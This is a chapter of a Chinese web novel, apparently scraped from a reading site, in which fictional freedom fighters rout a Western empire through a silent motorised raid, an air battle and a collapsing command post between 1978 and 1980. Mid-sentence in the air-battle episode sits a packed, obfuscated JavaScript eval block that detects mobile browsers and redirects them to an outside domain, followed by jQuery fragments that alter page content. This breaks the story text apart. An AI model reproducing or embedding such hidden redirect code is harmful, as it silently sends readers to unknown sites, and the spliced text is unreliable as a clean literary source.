120.七情试炼篇【其五十二】第一次部分战争

作品:《背负命运之人

    七情试炼篇【其五十二】


    《寂静铁骑:1978年摩托化部队纪实》


    1978年深秋的凌晨三点二十七分,中部根据地第三摩托化机动连的柴油三轮车群正在峡谷中穿行。这些由德赛帝国农用机械改装而成的战车,消音器外包裹着缴获的西奥帝国军官呢大衣,排气管的震颤通过特制橡胶垫传导进车架,最终消散在布满碎石的河床上。连长赵铁柱的夜视镜里,前方侦察兵的电瓶车尾灯闪烁着预定信号——那是用莎莎当年送给木子文的钢笔里拆出的零件改造的通讯装置。


    "保持队形,间隔十五米。"赵铁柱对着喉麦低语。他的声音通过意比利王联合帝国战地电话线改装的通讯网络,传达到每辆战车的驾驶员耳边。这些战士多半是东康农场子弟,对三轮车的操控如同呼吸般自然。此刻他们正以二十三公里的时速滑下陡坡,柴油发动机的转速被严格控制在1800转以下,发出的声响还不如秋风吹拂灌木的沙沙声。


    侦察兵王二狗的电瓶车突然停在隘口。这个前德赛帝国矿山电工举起改装过的探照灯——镜片来自击落的侦察机光学设备——光束在岩壁上投射出安全的信号。他身后的车队立即分散成标准的战斗队形:十二辆柴油三轮车呈箭矢状展开,每辆车斗里搭载的两名士兵已经解开固定武器的帆布带。这些用西奥帝国铁道钢轨锻造的反坦克枪,在月光下泛着冷冽的蓝光。


    "摩托化机动部队,主要乘骑为电瓶车和柴油三轮车。"作战手册上的这句话被赵铁柱用红笔圈出。他摸了摸别在胸前的自由新军徽章——这是用老将军的假肢材料熔铸的纪念品。三天前的战前会议上,木子文亲自演示了如何用德赛帝国油料添加剂将农用三轮车的越野性能提升47%。那位年轻的统帅说话时,指挥部墙上的老将军遗像似乎正凝视着沙盘上的每一处细节。


    河对岸突然亮起的探照灯打断了回忆。赵铁柱举起缠着布条的左手——这个手势传遍整个车队只用了1.7秒。士兵们立即关闭引擎,任由车辆凭借惯性滑入预定的隐蔽点。德赛帝国制造的消音离合器此刻发挥了关键作用,金属部件间的摩擦声被特种油脂吸收,唯有轮胎碾过碎石的细微声响消散在夜风中。


    西奥帝国哨所的巡逻队从五十米外经过,他们的装甲车轰鸣声完美掩盖了自由战士调整武器的声响。赵铁柱通过改装过的医用听诊器(战利品编号XT-7782)监听着敌军通讯频段,耳机里传来懒散的闲聊——这些驻扎在缓冲区的士兵,还不知道中部根据地已经失去了最后的鸽派。


    当敌军装甲车的尾灯消失在弯道后,王二狗的电瓶车率先启动。这种用德赛帝国潜艇电池驱动的载具,在满电状态下能行驶八十公里。此刻它的轮胎包裹着缴获的帝国军官制服布料,与粗糙地面的接触几乎无声无息。车队紧随其后,柴油三轮车的货厢里,反坦克炮弹的引信在月光下闪着微光。


    "来去自如,发出的噪音可以忽略不计。"赵铁柱想起木子文在战前动员时的断言。此刻这句话正在被完美验证:他的连队已经渗透到敌军防线后方七公里处,而西奥帝国的雷达屏幕上依然只有虚假的电磁干扰信号——这是用列别杰夫改造的医疗设备制造的屏障。


    黎明前的薄雾中,车队抵达预定攻击位置。战士们沉默地卸下装备,三轮车被推进天然岩洞,覆盖上伪装网。这些网是用莎莎当年"捐赠"的德赛帝国宫廷窗帘改制的,红外特征与周围植被完全一致。当第一缕阳光照亮西奥帝国第77补给基地的围墙时,自由新军的摩托化部队已经完成战斗部署,如同老将军生前预演过无数次的那样。


    攻击发起的时刻,赵铁柱看了一眼腕表——这是用帝国列车时刻表改装的计时器。秒针指向十二的瞬间,三十辆改装三轮车同时开火,柴油发动机的轰鸣终于毫无保留地爆发,但这已经不再重要。因为西奥帝国的燃料库此刻正绽放出比朝阳更耀眼的光芒,而老将军挂在指挥部墙上的作战地图,即将迎来第一个红色标记。1978年的这个秋晨,寂静的铁骑终于向世界宣告了他们的存在。


    《东阳苍穹:1979年制空权争夺战》


    1979年9月17日凌晨4时23分,东阳山脉上空的电离层突然出现异常扰动。自由新军第三预警中队的"鹰眼-7"雷达屏幕上,十二个猩红的光点正从西奥帝国第三航空联队的基地升起。操作员陈岩的手指悬在警报按钮上方0.3秒——这短暂延迟是为了确认敌方编队中是否混有帝国最新型的"夜枭"隐身战机。他太阳穴处的伤疤开始隐隐作痛,这是三年前被帝国电子战部队微波武器灼伤的永久纪念。


    "确认敌机群,方位274,高度8000,速度900。"陈岩的声音通过数字加密频道传往各作战单元。在三百公里外的地下指挥所,木子文面前的全息沙盘同步亮起十二个红色光锥,每个光锥底部都标注着帝国战机的预估性能参数——这些数据部分来自莎莎·冯·古德里安五年前偷偷塞给他的德赛帝国空军评估报告。


    "东阳空战序幕。"自由新军投入的24架"风暴"战机全部配备超视距导弹,而帝国机群仍在使用需要目视锁定的老式武器系统。沙盘角落的计时器显示04:30:00,这是超时空干扰装置预定的启动时刻。


    海拔万米的平流层,"鹰眼-7"预警机的电子战军官突然竖起拇指。机腹下的相位阵列雷达以微秒级的速度完成目标分配,数据链将火控参数传输给正在云层上方待命的"风暴"中队。中队长的头盔显示器上跳出六个菱形方框,每个都套着西奥帝国战机的红外特征。他按下操纵杆上的发射按钮时,机翼下的"雷霆-3"导弹脱离挂架的震动,像极了当年父亲描述的葫芦谷炮击。


    "自由新军的体系作战,已经远远超出帝国军的军事预案与战略构思。"地面指挥所的战术参谋低声感叹。全息沙盘上,代表导弹的蓝色光点正以7马赫速度扑向目标。帝国飞行员们此时刚刚接到地面雷达的模糊警告,他们的机载设备仍在搜索肉眼可见的敌机——这种战术思维还停留在上个时代。


    04:31:17,第一枚"雷霆-3"命中目标。西奥帝国长机的爆炸火球在晨曦中格外刺目,宛如第二个太阳在云层间绽放。赵寒山的头盔显示器上,五个菱形方框接连变成红色X符号。第六架敌机做出惊人的规避动作,这架编号"黑蜘蛛"的帝国王牌战机突然俯冲,企图利用山脉地形躲避雷达追踪。


    "超视距打击让帝国军队的飞行员即便想再次成为神风队员,"木子文对着通讯器说道,声音通过量子加密频道传往每个作战单元,"却连人都没看见便被摧毁在空中。"


    东阳山脉北麓的某座雷达站里,技术员突然指着屏幕惊呼。第二批帝国战机刚从跑道起飞,就被自由新军部署在电离层的侦察卫星锁定。这些数据实时传输给埋伏在边境线的导弹部队,十二枚"地火"防空导弹同时升空的尾焰,将黎明前的天空染成血色。


    "甚至有的在刚起飞便已经被自由新军的预警机锁定。"列别杰夫看着战术屏幕上闪烁的击落标志,用北罗语喃喃自语。老科学家的假腿轻轻敲打地面,这是他在北罗联盟空军服役时养成的习惯——每次胜利都会下意识模仿击鼓庆祝的动作。


    05:47:36,西奥帝国空军最后的挣扎出现在东北战区。四架老式"疾风"战机突破电子干扰云,企图用低空突袭摧毁自由新军的雷达站。守卫该站的防空连全是葫芦谷战役幸存者的后代,他们操作着用帝国坦克炮管改装的防空炮,弹幕在2000米高度形成钢铁风暴。


    "我已无法返航,重复,我已无法返航……"公共无线电频道突然传来帝国飞行员颤抖的呼叫。背景音里,驾驶舱警报器的尖啸与氧气面罩漏气的嘶嘶声交织成死亡前奏。自由新军的通讯监听员下意识捂住耳机——这个声音太年轻,可能只是个刚毕业的飞行学员。


    "妈的,老子跟他们拼了!皇帝万岁!"另一个沙哑的声音突然切入频道。这架编号"十字07"的西奥帝国战机猛然拉高,迎着防空炮火冲向雷达站。自由新军的战机从万米高空俯冲而下,在目标锁定提示音响起前就按下了发射钮。他的导弹与帝国战机在距离雷达站300米处相撞,爆炸冲击波震碎了站内半数的仪表玻璃。


    当太阳完全升起时,东阳山脉恢复了诡异的宁静。燃烧的帝国战机残骸散落在方圆两百公里的区域内,最远的一块坠毁在边境线以西的帝国领土上。自由新军的损失统计官注意到,有七架帝国战机是被自己的防空火力击落的——混乱中,西奥帝国的雷达操作员把撤退的友机当成了来袭敌机。


    "因此西奥帝国在此次空战后,彻底失去了空中控制权,加上导弹重创了帝国的机场,预计其损失各型战机超过两千架,精锐飞行员数千人。"木子文在战后报告上签下名字,笔尖划破纸面的力道透露出某种克制已久的情绪。他转身望向墙上巨大的态势图,东阳山脉上空原本密密麻麻的红色飞机标志,此刻已被全部替换成蓝色旗帜。


    在德赛帝国首都曼尼亚,古德里安元帅的办公室彻夜亮着灯。他面前摆着两份报告:一份是官方通报的西奥帝国空战惨败,另一份是莎莎从军事学院资料库偷拍的"风暴"战机设计图。当他的手指抚过图纸上某个熟悉的笔迹标注时,窗外传来帝国


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169829|172516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    空军巡逻队的引擎声。


    1979年的这个秋日,东阳山脉的制空权易手如同推倒的第一块多米诺骨牌。而在边境线两侧,两个曾经的舞伴正在用最先进的武器,延续那支未跳完的探戈。


    《1980:东康的复仇》


    1980年初春的融雪期,西奥帝国东线指挥部的地图被参谋们揉烂了第七张。马克西米连上将的镀金手杖戳在沙盘上,震倒了代表第三装甲师的小旗。旗杆折断的声音让所有人一颤——这已经是本周第三支被除名的部队。


    "自由新军在历经十年的军纪重塑与严格训练。"参谋长念着情报简报,声音像是从很远的地方传来。窗外,运输伤员的直升机轰鸣而过,将融雪期的泥浆溅在指挥部防弹玻璃上,形成类似血滴喷溅的图案。


    上将的手杖突然转向电子沙盘。投影光束中浮现出过去72小时的战报:帝国第七军声称歼灭的自由新军第13旅,竟同时在三个不同战区出现。那些闪烁的红色光点如同具有生命般,在帝国防线的缝隙中游走、分裂、重组。


    "他们最大的优势就是极高的重组能力。"情报官擦着单片眼镜解释道。镜片反射的光斑扫过墙上的伤亡统计表——数字显示帝国每"歼灭"一个自由新军建制,后方补给线就会遭遇两倍数量的袭击。统计表下方贴着张发黄的照片:1942年的葫芦谷战役,西奥帝国士兵站在用东康军人遗体堆砌的工事前合影。


    前线的无线电突然传来刺耳的静电噪音。第112机械化团团长冯·克劳斯的报告断断续续:"无论被打成什么样...剩余的部队总能重新组成...新的建制继续作战..."背景音里爆炸声的间隔越来越短,最终在一阵金属扭曲的尖啸后归于寂静。


    作战室里,年轻的情报参谋汉斯突然打翻了咖啡杯。褐色的液体在沙盘上蔓延,恰好覆盖了帝国引以为傲的"钢铁走廊"防线。没人责怪他——这位参谋的父亲正是当年东康战役的幸存者,家中书房锁着一本从不示人的相册。


    "帝国军队以为打穿或者消灭了一批自由新军的战线或战士,"参谋长继续念道,他的金丝眼镜链轻微颤动,"马上他们的后方就会出现大量的袭击报告。"仿佛为了印证这句话,后勤部的紧急通讯灯突然亮起——三百公里外的油库遭到超时空突袭,监控画面显示袭击者穿着帝国缴获档案中标注"已全歼"的第7山地旅制服。


    马克西米连上将突然扯开领口,露出锁骨下方陈旧的伤疤。这是1945年东康游击队留给他的纪念,当时他还是个少尉。"若非当年东康高层的主战派基本牺牲,"他的手杖重重敲在沙盘边缘,"投降派在绝境之下主动投降..."话未说完,指挥部的地面突然震动,茶杯里的波纹形成诡异的同心圆。


    通讯兵跌跌撞撞冲进来,钢盔上还带着新鲜的血迹:"第9防空师...被全歼..."他递上的战报照片里,自由新军的重装合成旅正碾过帝国最先进的电磁炮阵地。那些改装自德赛帝国坦克的钢铁巨兽,炮管上漆着东康古老的复仇符文。


    "恐怕跟东康人在本土作战是任何帝国都不敢面对的噩梦。"参谋长轻声念完最后一句情报摘要。这句话让作战室突然安静得可怕,只有电子沙盘发出轻微的嗡嗡声。几位参加过殖民战争的老军官不约而同摸向身上的旧伤——那些伤疤在潮湿的春季总是隐隐作痛。


    黎明时分,前线的噩耗如潮水般涌来。自由新军的重装合成旅撕碎了帝国看似坚不可摧的防线,而更可怕的是平民的暴动。监控画面显示,无数东康人受到自由新军鼓舞而自发组成的新游击队,正用农具和□□攻击帝国哨所。某个镜头捕捉到令人毛骨悚然的画面:白发苍苍的老妇将帝国士兵引入雷区,爆炸的火光映亮她平静如水的面容。


    "这片土地的每一寸都想杀死我们。"冯·克劳斯上校的临终通讯被循环播放。录音里背景音的惨叫中,隐约能听见东康古老的战歌——那是1942年葫芦谷守军全军覆没前最后的吟唱。


    马克西米连上将站在破碎的落地窗前,融雪的风裹挟着硝烟灌进来。远处地平线上,帝国最骄傲的第1装甲师正在燃烧,浓烟在朝阳中如同扭曲的黑色图腾。他突然想起父亲书房里那本禁书上的话:"数十年前被游击战打得头破血流的惨痛记忆犹在眼前。"


    当自由新军的电磁脉冲弹瘫痪指挥部所有电子设备时,参谋们发现上将的镀金手杖不知何时断成两截。断裂处露出填充的铅芯——原来这根象征帝国权威的权杖,从来都只是包金的劣质品。就像他们精心构筑的殖民神话,在1980年的春天,被东康人的复仇之火熔解得干干净净。